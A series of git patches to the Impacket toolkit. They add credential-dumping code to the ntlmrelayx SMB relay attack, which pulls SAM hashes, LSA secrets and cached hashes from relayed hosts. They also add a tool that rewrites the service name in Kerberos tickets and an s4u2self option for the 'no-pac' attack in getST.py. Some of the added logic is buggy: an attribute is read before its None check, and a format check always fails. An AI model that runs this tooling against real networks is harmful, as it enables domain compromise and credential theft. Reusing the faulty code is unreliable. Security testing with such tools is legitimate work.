Transition' + delegation = 'Constrained' for delegRights in attribute['vals']: rightsTo.append(str(delegRights)) @@ -200,8 +195,12 @@ def run(self): sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(attribute['vals'][0])) for ace in sd['Dacl'].aces: searchFilter = searchFilter + "(objectSid="+ace['Ace']['Sid'].formatCanonical()+")" - searchFilter = searchFilter + ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" + if self.__disabled: + searchFilter = searchFilter + ")(UserAccountControl:1.2.840.113556.1.4.803:=2))" + else: + searchFilter = searchFilter + ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" delegUserResp = ldapConnection.search(searchFilter=searchFilter,attributes=['sAMAccountName', 'objectCategory'],sizeLimit=999) + for item2 in delegUserResp: if isinstance(item2, ldapasn1.SearchResultEntry) is not True: continue @@ -216,7 +215,7 @@ def run(self): answers.append([rights, objType, 'Resource-Based Constrained', sAMAccountName]) #print unconstrained + constrained delegation relationships - if delegation in ['Unconstrained', 'Constrained w/o Protocol Transition', 'Constrained w/ Protocol Transition']: + if delegation in ['Unconstrained', 'Constrained', 'Constrained w/ Protocol Transition']: if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: logging.debug('Bypassing disabled account %s ' % sAMAccountName) @@ -245,10 +244,10 @@ def run(self): parser.add_argument('target', action='store', help='domain/username[:password]') parser.add_argument('-target-domain', action='store', help='Domain to query/request if different than the domain of the user. ' 'Allows for retrieving delegation info across trusts.') - parser.add_argument('-user', action='store', help='Requests data for specific user') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-disabled', action='store_true', help='Query disabled users too') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') From 55e9742785e034b42ec9a7b39973787c63583f09 Mon Sep 17 00:00:00 2001 From: Geiseric <73939366+GeisericII@users.noreply.github.com> Date: Sat, 5 Feb 2022 17:35:49 +0100 Subject: [PATCH 024/152] Added "-disabled" switch to query only delegs for disabled users --- examples/findDelegation.py | 29 ++++++++++++++++++++--------- 1 file changed, 20 insertions(+), 9 deletions(-) diff --git a/examples/findDelegation.py b/examples/findDelegation.py index 55211035a6..ccc10711e2 100755 --- a/examples/findDelegation.py +++ b/examples/findDelegation.py @@ -58,6 +58,7 @@ def __init__(self, username, password, user_domain, target_domain, cmdLineOption self.__password = password self.__domain = user_domain self.__targetDomain = target_domain + self.__requestUser = cmdLineOptions.user self.__lmhash = '' self.__nthash = '' self.__aesKey = cmdLineOptions.aesKey @@ -132,8 +133,18 @@ def run(self): raise searchFilter = "(&(|(UserAccountControl:1.2.840.113556.1.4.803:=16777216)(UserAccountControl:1.2.840.113556.1.4.803:=" \ - "524288)(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" \ - "(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" + "524288)(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" + + if self.__disabled: + searchFilter = searchFilter + ")(UserAccountControl:1.2.840.113556.1.4.803:=2)" + else: + searchFilter = searchFilter + ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2))" + + + if self.__requestUser is not None: + searchFilter += '(sAMAccountName:=%s))' % self.__requestUser + else: + searchFilter += ')' try: resp = ldapConnection.search(searchFilter=searchFilter, @@ -183,7 +194,7 @@ def run(self): objectType = str(attribute['vals'][0]).split('=')[1].split(',')[0] elif str(attribute['type']) == 'msDS-AllowedToDelegateTo': if protocolTransition == 0: - delegation = 'Constrained' + delegation = 'Constrained w/o Protocol Transition' for delegRights in attribute['vals']: rightsTo.append(str(delegRights)) @@ -191,7 +202,7 @@ def run(self): if str(attribute['type']) == 'msDS-AllowedToActOnBehalfOfOtherIdentity': rbcdRights = [] rbcdObjType = [] - searchFilter = '(&(|' + searchFilter = "(&(|" sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(attribute['vals'][0])) for ace in sd['Dacl'].aces: searchFilter = searchFilter + "(objectSid="+ace['Ace']['Sid'].formatCanonical()+")" @@ -208,16 +219,16 @@ def run(self): rbcdObjType.append(str(item2['attributes'][1]['vals'][0]).split('=')[1].split(',')[0]) if mustCommit is True: - if int(userAccountControl) & UF_ACCOUNTDISABLE: + if int(userAccountControl) & UF_ACCOUNTDISABLE and self.__disabled is not True: logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for rights, objType in zip(rbcdRights,rbcdObjType): answers.append([rights, objType, 'Resource-Based Constrained', sAMAccountName]) #print unconstrained + constrained delegation relationships - if delegation in ['Unconstrained', 'Constrained', 'Constrained w/ Protocol Transition']: + if delegation in ['Unconstrained', 'Constrained w/o Protocol Transition', 'Constrained w/ Protocol Transition']: if mustCommit is True: - if int(userAccountControl) & UF_ACCOUNTDISABLE: + if int(userAccountControl) & UF_ACCOUNTDISABLE and self.__disabled is not True: logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for rights in rightsTo: @@ -244,10 +255,10 @@ def run(self): parser.add_argument('target', action='store', help='domain/username[:password]') parser.add_argument('-target-domain', action='store', help='Domain to query/request if different than the domain of the user. ' 'Allows for retrieving delegation info across trusts.') - + parser.add_argument('-user', action='store', help='Requests data for specific user') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - parser.add_argument('-disabled', action='store_true', help='Query disabled users too') + parser.add_argument('-disabled', action='store_true', help='Query only disabled users') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') From 7fc473c4f84fc97a355553c5b6fe154673c9419d Mon Sep 17 00:00:00 2001 From: n00py Date: Tue, 8 Feb 2022 14:18:15 -0700 Subject: [PATCH 025/152] Update smbattack.py --- impacket/examples/ntlmrelayx/attacks/smbattack.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/impacket/examples/ntlmrelayx/attacks/smbattack.py b/impacket/examples/ntlmrelayx/attacks/smbattack.py index c90a78600b..15295b7e67 100644 --- a/impacket/examples/ntlmrelayx/attacks/smbattack.py +++ b/impacket/examples/ntlmrelayx/attacks/smbattack.py @@ -65,7 +65,7 @@ def run(self): LOG.info("Service Installed.. CONNECT!") self.installService.uninstall() else: - from impacket.examples.secretsdump import RemoteOperations, SAMHashes + from impacket.examples.secretsdump import RemoteOperations, SAMHashes, LSASecrets from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins samHashes = None try: @@ -110,6 +110,10 @@ def run(self): samHashes.dump() samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) + SECURITYFileName = remoteOps.saveSECURITY() + LSASecrets = LSASecrets(SECURITYFileName, bootKey, remoteOps=None, isRemote= True, history=False) + LSASecrets.dumpCachedHashes() + LOG.info("Done dumping LSA secrets for host: %s", self.__SMBConnection.getRemoteHost()) except Exception as e: LOG.error(str(e)) finally: From 41103be3b0ff23b9a9a9ef461730dbd809704f7a Mon Sep 17 00:00:00 2001 From: n00py Date: Tue, 8 Feb 2022 14:32:38 -0700 Subject: [PATCH 026/152] Forgot one Secrets and cached --- impacket/examples/ntlmrelayx/attacks/smbattack.py | 1 + 1 file changed, 1 insertion(+) diff --git a/impacket/examples/ntlmrelayx/attacks/smbattack.py b/impacket/examples/ntlmrelayx/attacks/smbattack.py index 15295b7e67..f3c3afefff 100644 --- a/impacket/examples/ntlmrelayx/attacks/smbattack.py +++ b/impacket/examples/ntlmrelayx/attacks/smbattack.py @@ -113,6 +113,7 @@ def run(self): SECURITYFileName = remoteOps.saveSECURITY() LSASecrets = LSASecrets(SECURITYFileName, bootKey, remoteOps=None, isRemote= True, history=False) LSASecrets.dumpCachedHashes() + LSASecrets.dumpSecrets() LOG.info("Done dumping LSA secrets for host: %s", self.__SMBConnection.getRemoteHost()) except Exception as e: LOG.error(str(e)) From 7412a7453a4f68b94013015de3e142f4873ba266 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Wed, 9 Feb 2022 11:41:17 +0100 Subject: [PATCH 027/152] Improved exporting and added Kerberos keys calculation --- .../examples/ntlmrelayx/attacks/smbattack.py | 20 +++++++---- .../ntlmrelayx/clients/smbrelayclient.py | 34 +++++++++++++++++++ 2 files changed, 48 insertions(+), 6 deletions(-) diff --git a/impacket/examples/ntlmrelayx/attacks/smbattack.py b/impacket/examples/ntlmrelayx/attacks/smbattack.py index f3c3afefff..e0e0787da4 100644 --- a/impacket/examples/ntlmrelayx/attacks/smbattack.py +++ b/impacket/examples/ntlmrelayx/attacks/smbattack.py @@ -14,6 +14,8 @@ # Alberto Solino (@agsolino) # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) # +import os + from impacket import LOG from impacket.examples.ntlmrelayx.attacks import ProtocolAttack from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell @@ -96,25 +98,31 @@ def run(self): return try: + remote_host = self.__SMBConnection.getRemoteHost() if self.config.command is not None: remoteOps._RemoteOperations__executeRemote(self.config.command) - LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) + LOG.info("Executed specified command on host: %s", remote_host) self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') print(self.__answerTMP.decode(self.config.encoding, 'replace')) else: + if not os.path.exists(self.config.lootdir): + os.makedirs(self.config.lootdir) + outfile = os.path.join(self.config.lootdir, remote_host) bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote = True) samHashes.dump() - samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') - LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) - SECURITYFileName = remoteOps.saveSECURITY() - LSASecrets = LSASecrets(SECURITYFileName, bootKey, remoteOps=None, isRemote= True, history=False) + samHashes.export(outfile) + LOG.info("Done dumping SAM hashes for host: %s", remote_host) + SECURITYFileName = remoteOps.saveSECURITY() + LSASecrets = LSASecrets(SECURITYFileName, bootKey, remoteOps=remoteOps, isRemote= True, history=False) LSASecrets.dumpCachedHashes() + LSASecrets.exportCached(outfile) LSASecrets.dumpSecrets() - LOG.info("Done dumping LSA secrets for host: %s", self.__SMBConnection.getRemoteHost()) + LSASecrets.exportSecrets(outfile) + LOG.info("Done dumping LSA hashes for host: %s", remote_host) except Exception as e: LOG.error(str(e)) finally: diff --git a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py index 8ab0fa6206..6bac447abd 100644 --- a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py @@ -326,6 +326,40 @@ def sendNegotiate(self, negotiateMessage): else: challenge.fromString(self.sendNegotiatev2(negotiateMessage)) + from impacket.ntlm import AV_PAIRS, NTLMSSP_AV_HOSTNAME, NTLMSSP_AV_DOMAINNAME, NTLMSSP_AV_DNS_DOMAINNAME, NTLMSSP_AV_DNS_HOSTNAME + if challenge['TargetInfoFields_len'] > 0: + av_pairs = AV_PAIRS(challenge['TargetInfoFields'][:challenge['TargetInfoFields_len']]) + if av_pairs[NTLMSSP_AV_HOSTNAME] is not None: + try: + self.sessionData['ServerName'] = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') + except: + # For some reason, we couldn't decode Unicode here.. silently discard the operation + pass + if av_pairs[NTLMSSP_AV_DOMAINNAME] is not None: + try: + if self.sessionData['ServerName'] != av_pairs[NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le'): + self.sessionData['ServerDomain'] = av_pairs[NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le') + except: + # For some reason, we couldn't decode Unicode here.. silently discard the operation + pass + if av_pairs[NTLMSSP_AV_DNS_DOMAINNAME] is not None: + try: + self.sessionData['ServerDNSDomainName'] = av_pairs[NTLMSSP_AV_DNS_DOMAINNAME][1].decode('utf-16le') + except: + # For some reason, we couldn't decode Unicode here.. silently discard the operation + pass + + if av_pairs[NTLMSSP_AV_DNS_HOSTNAME] is not None: + try: + self.sessionData['ServerDNSHostName'] = av_pairs[NTLMSSP_AV_DNS_HOSTNAME][1].decode('utf-16le') + except: + # For some reason, we couldn't decode Unicode here.. silently discard the operation + pass + + self.session._SMBConnection._SMB__server_name = self.sessionData['ServerName'] + self.session._SMBConnection._SMB__server_dns_domain_name = self.sessionData['ServerDNSDomainName'] + self.session._SMBConnection._SMB__server_domain = self.sessionData['ServerDomain'] + self.negotiateMessage = negotiateMessage self.challengeMessage = challenge.getData() From c8827b7a91bfca541b640d997f27c692b4481126 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 12 Feb 2022 17:15:05 +0100 Subject: [PATCH 028/152] Adding tgssub --- examples/tgssub.py | 113 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 113 insertions(+) create mode 100755 examples/tgssub.py diff --git a/examples/tgssub.py b/examples/tgssub.py new file mode 100755 index 0000000000..4448a82b9f --- /dev/null +++ b/examples/tgssub.py @@ -0,0 +1,113 @@ +#!/usr/bin/env python3 +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Python equivalent to Rubeus tgssub: Substitute an sname or SPN into an existing service ticket +# New value can be of many forms +# - (service class only) cifs +# - (service class with hostname) cifs/service +# - (service class with hostname and realm) cifs/service@DOMAIN.FQDN +# +# Authors: +# Charlie Bromberg (@_nwodtuhs) + +import logging +import sys +import traceback +import argparse + + +from impacket import version +from impacket.examples import logger +from impacket.krb5 import constants +from impacket.krb5.types import Principal +from impacket.krb5.ccache import CCache + +def substitute_sname(args): + ccache = CCache.loadFile(args.inticket) + cred_number = 0 + logging.info('Number of credentials in cache: %d' % len(ccache.credentials)) + if cred_number > 1: + logging.debug("More than one credentials in cache, modifying all of them") + for creds in ccache.credentials: + sname = creds['server'].prettyPrint() + service_class = sname.split(b'@')[0].split(b'/')[0].decode('utf-8') + hostname = sname.split(b'@')[0].split(b'/')[1].decode('utf-8') + service_realm = sname.split(b'@')[1].decode('utf-8') + if '@' in args.altservice: + new_service_realm = args.altservice.split('@')[1].upper() + if not '.' in new_service_realm: + logging.debug("New service realm is not FQDN, you may encounter errors") + if '/' in args.altservice: + new_hostname = args.altservice.split('@')[0].split('/')[1] + new_service_class = args.altservice.split('@')[0].split('/')[0] + else: + logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) + new_hostname = hostname + new_service_class = args.altservice.split('@')[0] + else: + logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm) + new_service_realm = service_realm + if '/' in args.altservice: + new_hostname = args.altservice.split('/')[1] + new_service_class = args.altservice.split('/')[0] + else: + logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) + new_hostname = hostname + new_service_class = args.altservice + new_sname = "%s/%s@%s" % (new_service_class, new_hostname, new_service_realm) + logging.info('Changing sname from %s to %s' % (sname.decode("utf-8"), new_sname)) + creds['server'].fromPrincipal(Principal(new_sname, type=constants.PrincipalNameType.NT_PRINCIPAL.value)) + logging.info('Saving ticket in %s' % args.outticket) + ccache.saveFile(args.outticket) + + +def parse_args(): + parser = argparse.ArgumentParser(add_help=True, description='Substitute an sname or SPN into an existing service ticket') + + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-in', dest='inticket', action="store", metavar="TICKET.CCACHE", help='input ticket to modify', required=True) + parser.add_argument('-out', dest='outticket', action="store", metavar="TICKET.CCACHE", help='output ticket', required=True) + parser.add_argument('-altservice', action="store", metavar="SERVICE", help='New sname/SPN', required=True) + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + args = parser.parse_args() + return args + + +def init_logger(args): + # Init the example's logger theme and debug level + logger.init(args.ts) + if args.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) + + +def main(): + print(version.BANNER) + args = parse_args() + init_logger(args) + + try: + substitute_sname(args) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + traceback.print_exc() + logging.error(str(e)) + +if __name__ == '__main__': + main() From 5e944b37078e3b9dc497fe1a4f7e8605efd62043 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Fri, 18 Feb 2022 18:34:19 +0800 Subject: [PATCH 029/152] add alt_service parameter to fromTGS method for ticket sname field modification --- impacket/krb5/ccache.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/impacket/krb5/ccache.py b/impacket/krb5/ccache.py index 011717210a..94e7e0f61c 100644 --- a/impacket/krb5/ccache.py +++ b/impacket/krb5/ccache.py @@ -455,7 +455,7 @@ def fromTGT(self, tgt, oldSessionKey, sessionKey): credential.secondTicket['length'] = 0 self.credentials.append(credential) - def fromTGS(self, tgs, oldSessionKey, sessionKey): + def fromTGS(self, tgs, oldSessionKey, sessionKey, alt_service=None): self.headers = [] header = Header() header['tag'] = 1 @@ -484,7 +484,7 @@ def fromTGS(self, tgs, oldSessionKey, sessionKey): credential = Credential() server = types.Principal() - server.from_asn1(encTGSRepPart, 'srealm', 'sname') + server.from_asn1(encTGSRepPart, 'srealm', 'sname', alt_service) tmpServer = Principal() tmpServer.fromPrincipal(server) @@ -511,6 +511,10 @@ def fromTGS(self, tgs, oldSessionKey, sessionKey): credential['num_address'] = 0 credential.ticket = CountedOctetString() + if alt_service != None: + decodedTGS['ticket']['sname']['name-type'] = 0 + decodedTGS['ticket']['sname']['name-string'][0] = alt_service.split('/')[0] + decodedTGS['ticket']['sname']['name-string'][1] = alt_service.split('/')[1] credential.ticket['data'] = encoder.encode(decodedTGS['ticket'].clone(tagSet=Ticket.tagSet, cloneValueFlag=True)) credential.ticket['length'] = len(credential.ticket['data']) credential.secondTicket = CountedOctetString() From 910386f89bbf6c124e7052953862e398e430268d Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Fri, 18 Feb 2022 18:36:04 +0800 Subject: [PATCH 030/152] add support for no-pac s4u2self attack add s4u2self and alt-service parameter --- examples/getST.py | 37 ++++++++++++++++++++++++++----------- 1 file changed, 26 insertions(+), 11 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index fa536ff1f0..6c570792ec 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!C:\Users\x\AppData\Local\Programs\Python\Python39\python.exe # Impacket - Collection of Python classes for working with network protocols. # # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. @@ -82,12 +82,21 @@ def __init__(self, target, password, domain, options): if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') - def saveTicket(self, ticket, sessionKey): - logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) - ccache = CCache() + def saveTicket(self, ticket, sessionKey,clientName=None, alt_service=None): + clientName=clientName.components[0] + if clientName!=None: + logging.info('Saving ticket in %s_s4u2self.ccache' % clientName) + ccache = CCache() - ccache.fromTGS(ticket, sessionKey, sessionKey) - ccache.saveFile(self.__saveFileName + '.ccache') + ccache.fromTGS(ticket, sessionKey, sessionKey, alt_service) + ccache.saveFile('%s_s4u2self.ccache'% clientName) + else: + + logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) + ccache = CCache() + + ccache.fromTGS(ticket, sessionKey, sessionKey) + ccache.saveFile(self.__saveFileName + '.ccache') def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): if not os.path.isfile(additional_ticket_path): @@ -296,7 +305,7 @@ def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey return r, cipher, sessionKey, newSessionKey - def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): + def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, s4u2self=False, alt_service=None): decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() @@ -421,7 +430,9 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) message = encoder.encode(tgsReq) r = sendReceive(message, self.__domain, kdcHost) - + if s4u2self: + self.saveTicket(r,sessionKey, clientName, alt_service) + return tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] if logging.getLogger().level == logging.DEBUG: @@ -622,7 +633,7 @@ def run(self): # Do we have a TGT cached? tgt = None try: - ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) + ccache = CCache.loadFile(r'C:\Users\x\1\mimikatz_trunk\x64\WIN-ER6H1V81DV9.ccache') logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'krbtgt/%s@%s' % (self.__domain.upper(), self.__domain.upper()) creds = ccache.getCredential(principal) @@ -663,7 +674,7 @@ def run(self): tgs, cipher, oldSessionKey, sessionKey = self.doS4U2ProxyWithAdditionalTicket(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost, self.__additional_ticket) else: - tgs, cipher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost) + tgs, cipher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost, options.s4u2self, options.alt_service) except Exception as e: logging.debug("Exception", exc_info=True) logging.error(str(e)) @@ -690,6 +701,8 @@ def run(self): ' for quering the ST. Keep in mind this will only work if ' 'the identity provided in this scripts is allowed for ' 'delegation to the SPN specified') + parser.add_argument('-alt-service', action="store", help='change the service ticket\'s sname') + parser.add_argument('-s4u2self', action="store_true", help='only do s4u2self request') parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') @@ -728,7 +741,9 @@ def run(self): logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) - + if options.alt_service.split('/') != 2: + logging.critical('alt-service should be specified as service/host format') + sys.exit(1) domain, username, password = parse_credentials(options.identity) try: From 42ce5d4821eb58f80b9e985a059bd00966bf1c16 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Fri, 18 Feb 2022 18:38:31 +0800 Subject: [PATCH 031/152] add support for no-pac s4u2self attack add s4u2self and alt-service parameter --- examples/getST.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 6c570792ec..174834d866 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -1,4 +1,4 @@ -#!C:\Users\x\AppData\Local\Programs\Python\Python39\python.exe +#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. @@ -633,7 +633,7 @@ def run(self): # Do we have a TGT cached? tgt = None try: - ccache = CCache.loadFile(r'C:\Users\x\1\mimikatz_trunk\x64\WIN-ER6H1V81DV9.ccache') + ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'krbtgt/%s@%s' % (self.__domain.upper(), self.__domain.upper()) creds = ccache.getCredential(principal) From ad3eeff2932d1f980c976c9ae1b010031c0a0a3f Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Fri, 18 Feb 2022 18:41:08 +0800 Subject: [PATCH 032/152] add alt_service parameter to from_asn1 method for ticket sname field modification --- impacket/krb5/types.py | 24 +++++++++++++++++------- 1 file changed, 17 insertions(+), 7 deletions(-) diff --git a/impacket/krb5/types.py b/impacket/krb5/types.py index d6a6cbc307..e851e1d15a 100644 --- a/impacket/krb5/types.py +++ b/impacket/krb5/types.py @@ -48,13 +48,15 @@ class KerberosException(Exception): pass + def _asn1_decode(data, asn1Spec): - if isinstance(data, str) or isinstance(data,bytes): + if isinstance(data, str) or isinstance(data, bytes): data, substrate = decoder.decode(data, asn1Spec=asn1Spec) if substrate != b'': raise KerberosException("asn1 encoding invalid") return data + # A principal can be represented as: class Principal(object): @@ -65,6 +67,7 @@ class Principal(object): component is the realm If the value contains no realm, then default_realm will be used.""" + def __init__(self, value=None, default_realm=None, type=None): self.type = constants.PrincipalNameType.NT_UNKNOWN self.components = [] @@ -73,7 +76,7 @@ def __init__(self, value=None, default_realm=None, type=None): if value is None: return - try: # Python 2 + try: # Python 2 if isinstance(value, unicode): value = value.encode('utf-8') except NameError: # Python 3 @@ -115,12 +118,12 @@ def unquote_component(comp): self.type = type def __eq__(self, other): - if isinstance (other, str): - other = Principal (other) + if isinstance(other, str): + other = Principal(other) return (self.type == constants.PrincipalNameType.NT_UNKNOWN.value or other.type == constants.PrincipalNameType.NT_UNKNOWN.value or - self.type == other.type) and all (map (lambda a, b: a == b, self.components, other.components)) and \ + self.type == other.type) and all(map(lambda a, b: a == b, self.components, other.components)) and \ self.realm == other.realm def __str__(self): @@ -137,12 +140,14 @@ def __repr__(self): return "Principal((" + repr(self.components) + ", " + \ repr(self.realm) + "), t=" + str(self.type) + ")" - def from_asn1(self, data, realm_component, name_component): + def from_asn1(self, data, realm_component, name_component, alt_service=None): name = data.getComponentByName(name_component) self.type = constants.PrincipalNameType( name.getComponentByName('name-type')).value self.components = [ str(c) for c in name.getComponentByName('name-string')] + if name_component == "sname" and alt_service!=None: + self.components = alt_service.split('/') self.realm = str(data.getComponentByName(realm_component)) return self @@ -155,6 +160,7 @@ def components_to_asn1(self, name): return name + class Address(object): DIRECTIONAL_AP_REQ_SENDER = struct.pack('!I', 0) DIRECTIONAL_AP_REQ_RECIPIENT = struct.pack('!I', 1) @@ -193,6 +199,7 @@ def encode(self): # ipv4-mapped ipv6 addresses must be encoded as ipv4. pass + class EncryptedData(object): def __init__(self): self.etype = None @@ -217,6 +224,7 @@ def to_asn1(self, component): component.setComponentByName('cipher', self.ciphertext) return component + class Ticket(object): def __init__(self): # This is the kerberos version, not the service principal key @@ -243,7 +251,8 @@ def to_asn1(self, component): return component def __str__(self): - return "" % (str(self.service_principal), str(self.encrypted_part.kvno)) + return "" % (str(self.service_principal), str(self.encrypted_part.kvno)) + class KerberosTime(object): INDEFINITE = datetime.datetime(1970, 1, 1, 0, 0, 0) @@ -268,6 +277,7 @@ def from_asn1(data): raise KerberosException("timezone in KerberosTime is not Z") return datetime.datetime(year, month, day, hour, minute, second) + if __name__ == '__main__': # TODO marc: turn this into a real test print(Principal("marc")) From 125e946ff0d4f2c511c8ff80378f2ec49f3a56f1 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Fri, 18 Feb 2022 18:43:31 +0800 Subject: [PATCH 033/152] add alt_service parameter to from_asn1 method for ticket sname field modification --- impacket/krb5/types.py | 20 ++++++-------------- 1 file changed, 6 insertions(+), 14 deletions(-) diff --git a/impacket/krb5/types.py b/impacket/krb5/types.py index e851e1d15a..ae5be34545 100644 --- a/impacket/krb5/types.py +++ b/impacket/krb5/types.py @@ -48,15 +48,13 @@ class KerberosException(Exception): pass - def _asn1_decode(data, asn1Spec): - if isinstance(data, str) or isinstance(data, bytes): + if isinstance(data, str) or isinstance(data,bytes): data, substrate = decoder.decode(data, asn1Spec=asn1Spec) if substrate != b'': raise KerberosException("asn1 encoding invalid") return data - # A principal can be represented as: class Principal(object): @@ -67,7 +65,6 @@ class Principal(object): component is the realm If the value contains no realm, then default_realm will be used.""" - def __init__(self, value=None, default_realm=None, type=None): self.type = constants.PrincipalNameType.NT_UNKNOWN self.components = [] @@ -76,7 +73,7 @@ def __init__(self, value=None, default_realm=None, type=None): if value is None: return - try: # Python 2 + try: # Python 2 if isinstance(value, unicode): value = value.encode('utf-8') except NameError: # Python 3 @@ -118,12 +115,12 @@ def unquote_component(comp): self.type = type def __eq__(self, other): - if isinstance(other, str): - other = Principal(other) + if isinstance (other, str): + other = Principal (other) return (self.type == constants.PrincipalNameType.NT_UNKNOWN.value or other.type == constants.PrincipalNameType.NT_UNKNOWN.value or - self.type == other.type) and all(map(lambda a, b: a == b, self.components, other.components)) and \ + self.type == other.type) and all (map (lambda a, b: a == b, self.components, other.components)) and \ self.realm == other.realm def __str__(self): @@ -160,7 +157,6 @@ def components_to_asn1(self, name): return name - class Address(object): DIRECTIONAL_AP_REQ_SENDER = struct.pack('!I', 0) DIRECTIONAL_AP_REQ_RECIPIENT = struct.pack('!I', 1) @@ -199,7 +195,6 @@ def encode(self): # ipv4-mapped ipv6 addresses must be encoded as ipv4. pass - class EncryptedData(object): def __init__(self): self.etype = None @@ -224,7 +219,6 @@ def to_asn1(self, component): component.setComponentByName('cipher', self.ciphertext) return component - class Ticket(object): def __init__(self): # This is the kerberos version, not the service principal key @@ -251,8 +245,7 @@ def to_asn1(self, 